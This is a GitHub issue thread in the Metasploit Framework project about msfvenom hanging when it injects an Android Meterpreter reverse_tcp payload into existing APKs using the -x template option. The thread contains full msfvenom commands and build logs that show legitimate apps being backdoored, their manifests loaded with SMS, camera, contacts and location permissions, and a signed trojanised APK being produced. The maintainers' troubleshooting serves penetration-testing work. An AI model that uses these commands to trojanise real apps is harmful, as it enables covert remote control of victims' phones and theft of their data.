Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

msfvenom command is getting stuck just after printing two lines. #13289

Closed
Vikrantojha opened this issue Apr 19, 2020 · 10 comments
Closed

msfvenom command is getting stuck just after printing two lines. #13289

Vikrantojha opened this issue Apr 19, 2020 · 10 comments
Assignees
Labels
android confirmed Issues confirmed by a committer

Comments

@Vikrantojha
Copy link

Vikrantojha commented Apr 19, 2020

I have executed below command in window 10 and it got stuck.

msfvenom -x "C:\Users\Vikrant ojha\Downloads\TestingApp.apk" -p android/meterpreter/reverse_tcp LHOST=10.212.12.255 LPORT=18563 -o "C:\Users\Vikrant ojha\Downloads\Testing.apk"
Using APK template: C:\Users\Vikrant ojha\Downloads\TestingApp.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload

Afterwords nothing happining.
I have also tried with -f raw but same result. and when i tried without -x, it give apk file which is not working.

It will be great if you can help me. screenshot attached.
msfvenom_error

@gwillcox-r7
Copy link
Contributor

Seems someone else has also been experiencing this issue: see #13286. I'm going to move discussion here and track the issue in one location as the details here seem to suggest this may be related to the -x option, as running it without this option caused msfvenom to run normally without hanging.

@Vikrantojha
Copy link
Author

@gwillcox-r7 Is there any update of above mention issue?
If its not yet resolved, request you to please share the older version which i can use for now.

Thanks in advance,
Vikrant

@bcoles
Copy link
Contributor

bcoles commented Jul 13, 2020

request you to please share the older version which i can use for now.

Old releases can be found here:

https://github.com/rapid7/metasploit-framework/releases

@github-actions
Copy link

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here.
If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

@github-actions github-actions bot added the Stale Marks an issue as stale, to be closed if no action is taken label Sep 15, 2020
@dwelch-r7 dwelch-r7 added the confirmed Issues confirmed by a committer label Sep 15, 2020
@github-actions github-actions bot removed the Stale Marks an issue as stale, to be closed if no action is taken label Jan 22, 2021
@gwillcox-r7
Copy link
Contributor

gwillcox-r7 commented Jan 28, 2021

Quick update on this but I did have to install zipalign, apktools, and set the path for jarsigner, but its not hanging anymore:

No longer hanging, is giving compilation errors though
 ~/git/metasploit-framework │ master *1 ?10  ./msfvenom -x ~/Downloads/com.afwsamples.testdpc_7.0.2-7002_minAPI21\(nodpi\)_apkmirror.com.apk -p android/meterpreter/reverse_tcp LHOST=10.212.12.255 LPORT=18563 -o test.apk
Using APK template: /home/gwillcox/Downloads/com.afwsamples.testdpc_7.0.2-7002_minAPI21(nodpi)_apkmirror.com.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package com.afwsamples.testdpc.mofxz
[*] Loading /tmp/d20210128-13801-12234e1/original/smali_classes33/com/afwsamples/testdpc/PolicyManagementActivity.smali and injecting payload..
[*] Poisoning the manifest with meterpreter permissions..
[*] Adding <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
[*] Adding <uses-permission android:name="android.permission.CAMERA"/>
[*] Adding <uses-permission android:name="android.permission.READ_CONTACTS"/>
[*] Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/>
[*] Adding <uses-permission android:name="android.permission.SEND_SMS"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
[*] Adding <uses-permission android:name="android.permission.CALL_PHONE"/>
[*] Adding <uses-permission android:name="android.permission.READ_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.RECORD_AUDIO"/>
[*] Adding <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_SMS"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.WAKE_LOCK"/>
[*] Adding <uses-permission android:name="android.permission.RECORD_AUDIO"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
[*] Adding <uses-permission android:name="android.permission.READ_SMS"/>
[*] Rebuilding apk with meterpreter injection as /tmp/d20210128-13801-12234e1/output.apk
[-] I: Using Apktool 2.4.0-dirty
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes34 folder into classes34.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes35 folder into classes35.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes5 folder into classes5.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes36 folder into classes36.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes9 folder into classes9.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes21 folder into classes21.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes16 folder into classes16.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes52 folder into classes52.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes8 folder into classes8.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes25 folder into classes25.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes38 folder into classes38.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes26 folder into classes26.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes22 folder into classes22.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes14 folder into classes14.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes2 folder into classes2.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes31 folder into classes31.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes24 folder into classes24.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes51 folder into classes51.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes43 folder into classes43.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes7 folder into classes7.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes3 folder into classes3.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes6 folder into classes6.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes19 folder into classes19.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes47 folder into classes47.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes13 folder into classes13.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes39 folder into classes39.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes28 folder into classes28.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes17 folder into classes17.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes46 folder into classes46.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes20 folder into classes20.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes42 folder into classes42.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes44 folder into classes44.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes29 folder into classes29.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes50 folder into classes50.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes49 folder into classes49.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes15 folder into classes15.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes32 folder into classes32.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes10 folder into classes10.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes40 folder into classes40.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes27 folder into classes27.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes48 folder into classes48.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes11 folder into classes11.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes23 folder into classes23.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes33 folder into classes33.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes4 folder into classes4.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes37 folder into classes37.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes45 folder into classes45.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes12 folder into classes12.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes41 folder into classes41.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes18 folder into classes18.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes30 folder into classes30.dex...
I: Checking whether resources has changed...
I: Building resources...
W: aapt: brut.common.BrutException: brut.common.BrutException: Could not extract resource: /prebuilt/linux/aapt_64 (defaulting to $PATH binary)
W: res/drawable/$$suw_fourcolor_progress_bar__10__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$$suw_fourcolor_progress_bar__10__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$$suw_fourcolor_progress_bar__11__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$$suw_fourcolor_progress_bar__11__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$$suw_fourcolor_progress_bar__12__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$$suw_fourcolor_progress_bar__12__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$$suw_fourcolor_progress_bar__1__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$$suw_fourcolor_progress_bar__1__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$$suw_fourcolor_progress_bar__2__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$$suw_fourcolor_progress_bar__2__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$$suw_fourcolor_progress_bar__3__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$$suw_fourcolor_progress_bar__3__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$$suw_fourcolor_progress_bar__4__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$$suw_fourcolor_progress_bar__4__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$$suw_fourcolor_progress_bar__5__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$$suw_fourcolor_progress_bar__5__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$$suw_fourcolor_progress_bar__6__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$$suw_fourcolor_progress_bar__6__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$$suw_fourcolor_progress_bar__7__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$$suw_fourcolor_progress_bar__7__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$$suw_fourcolor_progress_bar__8__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$$suw_fourcolor_progress_bar__8__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$$suw_fourcolor_progress_bar__9__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$$suw_fourcolor_progress_bar__9__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$suw_fourcolor_progress_bar__0.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$suw_fourcolor_progress_bar__1.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$suw_fourcolor_progress_bar__10.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$suw_fourcolor_progress_bar__11.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$suw_fourcolor_progress_bar__12.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$suw_fourcolor_progress_bar__2.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$suw_fourcolor_progress_bar__3.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$suw_fourcolor_progress_bar__4.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$suw_fourcolor_progress_bar__5.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$suw_fourcolor_progress_bar__6.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$suw_fourcolor_progress_bar__7.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$suw_fourcolor_progress_bar__8.xml: Invalid file name: must contain only [a-z0-9_.]
W: res/drawable/$suw_fourcolor_progress_bar__9.xml: Invalid file name: must contain only [a-z0-9_.]
brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [aapt, p, --min-sdk-version, 21, --target-sdk-version, 29, --version-code, 7002, --version-name, 7.0.2, --no-version-vectors, -F, /tmp/APKTOOL117488902355382668.tmp, -0, arsc, -0, META-INF/androidx.appcompat_appcompat.version, -0, META-INF/androidx.arch.core_core-runtime.version, -0, META-INF/androidx.asynclayoutinflater_asynclayoutinflater.version, -0, META-INF/androidx.coordinatorlayout_coordinatorlayout.version, -0, META-INF/androidx.core_core.version, -0, META-INF/androidx.cursoradapter_cursoradapter.version, -0, META-INF/androidx.customview_customview.version, -0, META-INF/androidx.documentfile_documentfile.version, -0, META-INF/androidx.drawerlayout_drawerlayout.version, -0, META-INF/androidx.enterprise_enterprise-feedback.version, -0, META-INF/androidx.fragment_fragment.version, -0, META-INF/androidx.interpolator_interpolator.version, -0, META-INF/androidx.legacy_legacy-preference-v14.version, -0, META-INF/androidx.legacy_legacy-support-core-ui.version, -0, META-INF/androidx.legacy_legacy-support-core-utils.version, -0, META-INF/androidx.legacy_legacy-support-v13.version, -0, META-INF/androidx.legacy_legacy-support-v4.version, -0, META-INF/androidx.lifecycle_lifecycle-extensions.version, -0, META-INF/androidx.lifecycle_lifecycle-livedata-core.version, -0, META-INF/androidx.lifecycle_lifecycle-livedata.version, -0, META-INF/androidx.lifecycle_lifecycle-process.version, -0, META-INF/androidx.lifecycle_lifecycle-runtime.version, -0, META-INF/androidx.lifecycle_lifecycle-service.version, -0, META-INF/androidx.lifecycle_lifecycle-viewmodel.version, -0, META-INF/androidx.loader_loader.version, -0, META-INF/androidx.localbroadcastmanager_localbroadcastmanager.version, -0, META-INF/androidx.media_media.version, -0, META-INF/androidx.preference_preference.version, -0, META-INF/androidx.print_print.version, -0, META-INF/androidx.recyclerview_recyclerview.version, -0, META-INF/androidx.slidingpanelayout_slidingpanelayout.version, -0, META-INF/androidx.swiperefreshlayout_swiperefreshlayout.version, -0, META-INF/androidx.vectordrawable_vectordrawable-animated.version, -0, META-INF/androidx.vectordrawable_vectordrawable.version, -0, META-INF/androidx.versionedparcelable_versionedparcelable.version, -0, META-INF/androidx.viewpager_viewpager.version, -0, res/drawable-hdpi-v4/abc_ab_share_pack_mtrl_alpha.9.png, -0, png, -0, res/drawable-hdpi-v4/abc_btn_switch_to_on_mtrl_00001.9.png, -0, res/drawable-hdpi-v4/abc_btn_switch_to_on_mtrl_00012.9.png, -0, res/drawable-hdpi-v4/abc_cab_background_top_mtrl_alpha.9.png, -0, res/drawable-hdpi-v4/abc_list_divider_mtrl_alpha.9.png, -0, res/drawable-hdpi-v4/abc_list_focused_holo.9.png, -0, res/drawable-hdpi-v4/abc_list_longpressed_holo.9.png, -0, res/drawable-hdpi-v4/abc_list_pressed_holo_dark.9.png, -0, res/drawable-hdpi-v4/abc_list_pressed_holo_light.9.png, -0, res/drawable-hdpi-v4/abc_list_selector_disabled_holo_dark.9.png, -0, res/drawable-hdpi-v4/abc_list_selector_disabled_holo_light.9.png, -0, res/drawable-hdpi-v4/abc_menu_hardkey_panel_mtrl_mult.9.png, -0, res/drawable-hdpi-v4/abc_popup_background_mtrl_mult.9.png, -0, res/drawable-hdpi-v4/abc_scrubber_primary_mtrl_alpha.9.png, -0, res/drawable-hdpi-v4/abc_scrubber_track_mtrl_alpha.9.png, -0, res/drawable-hdpi-v4/abc_spinner_mtrl_am_alpha.9.png, -0, res/drawable-hdpi-v4/abc_switch_track_mtrl_alpha.9.png, -0, res/drawable-hdpi-v4/abc_tab_indicator_mtrl_alpha.9.png, -0, res/drawable-hdpi-v4/abc_textfield_activated_mtrl_alpha.9.png, -0, res/drawable-hdpi-v4/abc_textfield_default_mtrl_alpha.9.png, -0, res/drawable-hdpi-v4/abc_textfield_search_activated_mtrl_alpha.9.png, -0, res/drawable-hdpi-v4/abc_textfield_search_default_mtrl_alpha.9.png, -0, res/drawable-hdpi-v4/notification_bg_low_normal.9.png, -0, res/drawable-hdpi-v4/notification_bg_low_pressed.9.png, -0, res/drawable-hdpi-v4/notification_bg_normal.9.png, -0, res/drawable-hdpi-v4/notification_bg_normal_pressed.9.png, -0, res/drawable-ldrtl-hdpi-v17/abc_spinner_mtrl_am_alpha.9.png, -0, res/drawable-ldrtl-mdpi-v17/abc_spinner_mtrl_am_alpha.9.png, -0, res/drawable-ldrtl-xhdpi-v17/abc_spinner_mtrl_am_alpha.9.png, -0, res/drawable-ldrtl-xxhdpi-v17/abc_spinner_mtrl_am_alpha.9.png, -0, res/drawable-ldrtl-xxxhdpi-v17/abc_spinner_mtrl_am_alpha.9.png, -0, res/drawable-mdpi-v4/abc_ab_share_pack_mtrl_alpha.9.png, -0, res/drawable-mdpi-v4/abc_btn_switch_to_on_mtrl_00001.9.png, -0, res/drawable-mdpi-v4/abc_btn_switch_to_on_mtrl_00012.9.png, -0, res/drawable-mdpi-v4/abc_cab_background_top_mtrl_alpha.9.png, -0, res/drawable-mdpi-v4/abc_list_divider_mtrl_alpha.9.png, -0, res/drawable-mdpi-v4/abc_list_focused_holo.9.png, -0, res/drawable-mdpi-v4/abc_list_longpressed_holo.9.png, -0, res/drawable-mdpi-v4/abc_list_pressed_holo_dark.9.png, -0, res/drawable-mdpi-v4/abc_list_pressed_holo_light.9.png, -0, res/drawable-mdpi-v4/abc_list_selector_disabled_holo_dark.9.png, -0, res/drawable-mdpi-v4/abc_list_selector_disabled_holo_light.9.png, -0, res/drawable-mdpi-v4/abc_menu_hardkey_panel_mtrl_mult.9.png, -0, res/drawable-mdpi-v4/abc_popup_background_mtrl_mult.9.png, -0, res/drawable-mdpi-v4/abc_scrubber_primary_mtrl_alpha.9.png, -0, res/drawable-mdpi-v4/abc_scrubber_track_mtrl_alpha.9.png, -0, res/drawable-mdpi-v4/abc_spinner_mtrl_am_alpha.9.png, -0, res/drawable-mdpi-v4/abc_switch_track_mtrl_alpha.9.png, -0, res/drawable-mdpi-v4/abc_tab_indicator_mtrl_alpha.9.png, -0, res/drawable-mdpi-v4/abc_textfield_activated_mtrl_alpha.9.png, -0, res/drawable-mdpi-v4/abc_textfield_default_mtrl_alpha.9.png, -0, res/drawable-mdpi-v4/abc_textfield_search_activated_mtrl_alpha.9.png, -0, res/drawable-mdpi-v4/abc_textfield_search_default_mtrl_alpha.9.png, -0, res/drawable-mdpi-v4/notification_bg_low_normal.9.png, -0, res/drawable-mdpi-v4/notification_bg_low_pressed.9.png, -0, res/drawable-mdpi-v4/notification_bg_normal.9.png, -0, res/drawable-mdpi-v4/notification_bg_normal_pressed.9.png, -0, res/drawable-xhdpi-v4/abc_ab_share_pack_mtrl_alpha.9.png, -0, res/drawable-xhdpi-v4/abc_btn_switch_to_on_mtrl_00001.9.png, -0, res/drawable-xhdpi-v4/abc_btn_switch_to_on_mtrl_00012.9.png, -0, res/drawable-xhdpi-v4/abc_cab_background_top_mtrl_alpha.9.png, -0, res/drawable-xhdpi-v4/abc_list_divider_mtrl_alpha.9.png, -0, res/drawable-xhdpi-v4/abc_list_focused_holo.9.png, -0, res/drawable-xhdpi-v4/abc_list_longpressed_holo.9.png, -0, res/drawable-xhdpi-v4/abc_list_pressed_holo_dark.9.png, -0, res/drawable-xhdpi-v4/abc_list_pressed_holo_light.9.png, -0, res/drawable-xhdpi-v4/abc_list_selector_disabled_holo_dark.9.png, -0, res/drawable-xhdpi-v4/abc_list_selector_disabled_holo_light.9.png, -0, res/drawable-xhdpi-v4/abc_menu_hardkey_panel_mtrl_mult.9.png, -0, res/drawable-xhdpi-v4/abc_popup_background_mtrl_mult.9.png, -0, res/drawable-xhdpi-v4/abc_scrubber_primary_mtrl_alpha.9.png, -0, res/drawable-xhdpi-v4/abc_scrubber_track_mtrl_alpha.9.png, -0, res/drawable-xhdpi-v4/abc_spinner_mtrl_am_alpha.9.png, -0, res/drawable-xhdpi-v4/abc_switch_track_mtrl_alpha.9.png, -0, res/drawable-xhdpi-v4/abc_tab_indicator_mtrl_alpha.9.png, -0, res/drawable-xhdpi-v4/abc_textfield_activated_mtrl_alpha.9.png, -0, res/drawable-xhdpi-v4/abc_textfield_default_mtrl_alpha.9.png, -0, res/drawable-xhdpi-v4/abc_textfield_search_activated_mtrl_alpha.9.png, -0, res/drawable-xhdpi-v4/abc_textfield_search_default_mtrl_alpha.9.png, -0, res/drawable-xhdpi-v4/notification_bg_low_normal.9.png, -0, res/drawable-xhdpi-v4/notification_bg_low_pressed.9.png, -0, res/drawable-xhdpi-v4/notification_bg_normal.9.png, -0, res/drawable-xhdpi-v4/notification_bg_normal_pressed.9.png, -0, res/drawable-xxhdpi-v4/abc_ab_share_pack_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_btn_switch_to_on_mtrl_00001.9.png, -0, res/drawable-xxhdpi-v4/abc_btn_switch_to_on_mtrl_00012.9.png, -0, res/drawable-xxhdpi-v4/abc_cab_background_top_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_list_divider_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_list_focused_holo.9.png, -0, res/drawable-xxhdpi-v4/abc_list_longpressed_holo.9.png, -0, res/drawable-xxhdpi-v4/abc_list_pressed_holo_dark.9.png, -0, res/drawable-xxhdpi-v4/abc_list_pressed_holo_light.9.png, -0, res/drawable-xxhdpi-v4/abc_list_selector_disabled_holo_dark.9.png, -0, res/drawable-xxhdpi-v4/abc_list_selector_disabled_holo_light.9.png, -0, res/drawable-xxhdpi-v4/abc_menu_hardkey_panel_mtrl_mult.9.png, -0, res/drawable-xxhdpi-v4/abc_popup_background_mtrl_mult.9.png, -0, res/drawable-xxhdpi-v4/abc_scrubber_primary_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_scrubber_track_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_spinner_mtrl_am_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_switch_track_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_tab_indicator_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_textfield_activated_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_textfield_default_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_textfield_search_activated_mtrl_alpha.9.png, -0, res/drawable-xxhdpi-v4/abc_textfield_search_default_mtrl_alpha.9.png, -0, res/drawable-xxxhdpi-v4/abc_btn_switch_to_on_mtrl_00001.9.png, -0, res/drawable-xxxhdpi-v4/abc_btn_switch_to_on_mtrl_00012.9.png, -0, res/drawable-xxxhdpi-v4/abc_spinner_mtrl_am_alpha.9.png, -0, res/drawable-xxxhdpi-v4/abc_switch_track_mtrl_alpha.9.png, -0, res/drawable-xxxhdpi-v4/abc_tab_indicator_mtrl_alpha.9.png, -0, arsc, -I, /home/gwillcox/.local/share/apktool/framework/1.apk, -S, /tmp/d20210128-13801-12234e1/original/res, -M, /tmp/d20210128-13801-12234e1/original/AndroidManifest.xml]
Error: Unable to rebuild apk with apktool
 ~/git/metasploit-framework │ master *1 ?10  

@gwillcox-r7
Copy link
Contributor

Alright so looks like a lot of those issues were actually fixed with apktool version 2.5.0. Here is my tests after following the instructions at https://ibotpeaches.github.io/Apktool/install/ to install version 2.5.0 of apktool:

Same files working successfully once ApkTools 2.5.0 is installed
 ~/git/metasploit-framework │ master *1 ?10  ./msfvenom -x ~/Downloads/Internet\ Speed\ Test\ FiberTest\ for\ Android\ Smart\ TV_v1.20.12.10_apkpure.com.apk -p android/meterpreter/reverse_tcp LHOST=10.212.12.255 LPORT=18563 -o test.apk
Using APK template: /home/gwillcox/Downloads/Internet Speed Test FiberTest for Android Smart TV_v1.20.12.10_apkpure.com.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package com.rma.netpulsetv.rnrjg
[*] Loading /tmp/d20210128-17215-1jmmwy8/original/smali/com/rma/netpulsetv/main/NetpulseTvApp.smali and injecting payload..
[*] Poisoning the manifest with meterpreter permissions..
[*] Adding <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
[*] Adding <uses-permission android:name="android.permission.CAMERA"/>
[*] Adding <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
[*] Adding <uses-permission android:name="android.permission.READ_SMS"/>
[*] Adding <uses-permission android:name="android.permission.READ_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
[*] Adding <uses-permission android:name="android.permission.RECORD_AUDIO"/>
[*] Adding <uses-permission android:name="android.permission.SEND_SMS"/>
[*] Adding <uses-permission android:name="android.permission.READ_CONTACTS"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_SMS"/>
[*] Adding <uses-permission android:name="android.permission.RECORD_AUDIO"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
[*] Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/>
[*] Adding <uses-permission android:name="android.permission.CALL_PHONE"/>
[*] Rebuilding apk with meterpreter injection as /tmp/d20210128-17215-1jmmwy8/output.apk
[*] Signing /tmp/d20210128-17215-1jmmwy8/output.apk
[*] Aligning /tmp/d20210128-17215-1jmmwy8/output.apk
Payload size: 6729896 bytes
Saved as: test.apk

@gwillcox-r7
Copy link
Contributor

Closing this issue as this seems to now be resolved. In summary please perform the following actions to resolve this issue:

  1. Make sure you are running ApkTools 2.5.0. This will likely require a manual install as it seems the versions that are installed by apt-get install apktools tend to be version 2.4.0 or 2.4.1, which will not solve the root issues here.
  2. Make sure you are running the latest version of Metasploit, which at the time of writing is version 6.0.28-dev-9dcd9f0cc2

@gwillcox-r7 gwillcox-r7 self-assigned this Jan 28, 2021
@rathinakarthi
Copy link

rathinakarthi commented Jun 20, 2021

@gwillcox-r7 hi, I am using Apktool 2.5.0 and metasploit-framework v6.0.50 but still getting same issue.
Screenshot (88)

@gwillcox-r7
Copy link
Contributor

gwillcox-r7 commented Jun 21, 2021

@gwillcox-r7 hi, I am using Apktool 2.5.0 and metasploit-framework v6.0.50 but still getting same issue.
Screenshot (88)

Did you disable your AV on Windows including Windows Defender before trying to run this command? Its possible Windows Defender is catching something in memory whilst the payload is being generated which is causing this odd error.

Also I believe the -x option was originally designed for using DLLs as templates and then injecting into them, not APKs, so this may be why some things may not work as expected if you supply that option.

@bcoles
Copy link
Contributor

bcoles commented Mar 12, 2022

Dupe of rapid7/metasploit-payloads#543.

This issue only affects msfvenom on Windows.

See rapid7/metasploit-payloads#543 (comment) for a solution.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
android confirmed Issues confirmed by a committer
Projects
None yet
Development

No branches or pull requests

6 participants